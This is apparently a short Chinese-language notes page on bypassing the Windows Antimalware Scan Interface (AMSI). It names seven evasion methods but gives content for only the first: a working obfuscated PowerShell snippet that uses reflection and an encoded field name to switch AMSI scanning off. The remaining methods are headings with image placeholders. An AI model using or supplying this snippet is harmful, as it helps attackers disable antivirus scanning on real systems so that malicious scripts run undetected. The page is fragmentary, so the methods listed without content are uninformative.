Bypass AMSI

Windows 反恶意软件扫描接口 (AMSI)

方法一 混淆

$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUt'+'ils')
$h="4456625220575263174452554847"
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
$b =$a.GetField($s,'NonPublic,Static')
$b.SetValue($null,$true)
image

方法二 内存劫持

image
image
image

方法三 Powershell降级

方法四 强制报错

方法五 内存劫持混淆操作码

方法六 反射绕过

方法七 Nishang

Powershell脚本混淆绕过amsi和av

image
image

最后更新于

这有帮助吗?